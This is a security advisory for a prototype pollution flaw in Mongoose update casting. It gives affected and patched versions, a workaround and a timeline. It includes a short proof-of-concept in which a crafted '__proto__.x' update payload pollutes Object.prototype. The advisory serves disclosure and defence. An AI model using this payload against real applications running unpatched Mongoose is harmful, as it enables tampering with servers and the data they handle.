Vulnerability GHSA-664h-wqgq-64gw

Medium Risk
MEDIUM RISK
CVSS Score: 6.5
Score Range: 4.0–6.9
Medium severity vulnerabilities (CVSS 4.0–6.9). Important issues that meaningfully reduce security confidence.
3 months ago
July 24, 2026 at 04:22 PM UTC
Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)
<6.13.10, >=7.0.0 <7.8.10, >=8.0.0 <8.24.1, >=9.0.0 <9.7.2
<6.13.10, >=7.0.0 <7.8.10, >=8.0.0 <8.24.1, >=9.0.0 <9.7.2

Summary

Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)

Details

Impact

What kind of vulnerability is it? Who is impacted?

Prototype pollution in update casting: passing a user-controlled update to a Mongoose update, like MyModel.updateOne(filter, req.body), can cause Mongoose to set $fullPath and $parentSchemaDocArray on Object.prototype.

Example:

const mongoose = require('mongoose');
console.log('before:', Object.prototype.$fullPath);            // undefined

const User = mongoose.model('User', new mongoose.Schema({ name: String }));
const malicious = JSON.parse('{"$set": {"__proto__.x": "anything"}}');   // attacker-controlled update

const q = User.updateOne({}, {});
try { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }

console.log('after :', Object.prototype.$fullPath);            // "__proto__"
console.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath'));  // true
console.log('fresh {}:', ({}).$fullPath);                      // "__proto__"

Patches

Has the problem been patched? What versions should users upgrade to?

9.7.2, 8.24.1. 7.8.10, 6.13.10

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Check user-controlled updates for own __proto__ properties before passing to Mongoose

References

Are there any links users can visit to find out more?

Related Vulnerabilities

Other vulnerabilities affecting the same packages

View all vulnerabilities for these packages

Impacted packages

Timeline

Published
3 months ago
July 24, 2026 at 04:22 PM UTC
Fixed (9.7.2)
4 months ago
June 22, 2026 at 06:53 PM UTC
Fixed (8.24.1)
4 months ago
June 22, 2026 at 07:50 PM UTC
Fixed (7.8.10)
4 months ago
June 22, 2026 at 08:17 PM UTC
Fixed (6.13.10)
4 months ago
June 22, 2026 at 09:18 PM UTC
Last Modified
2 months ago
August 19, 2026 at 09:55 AM UTC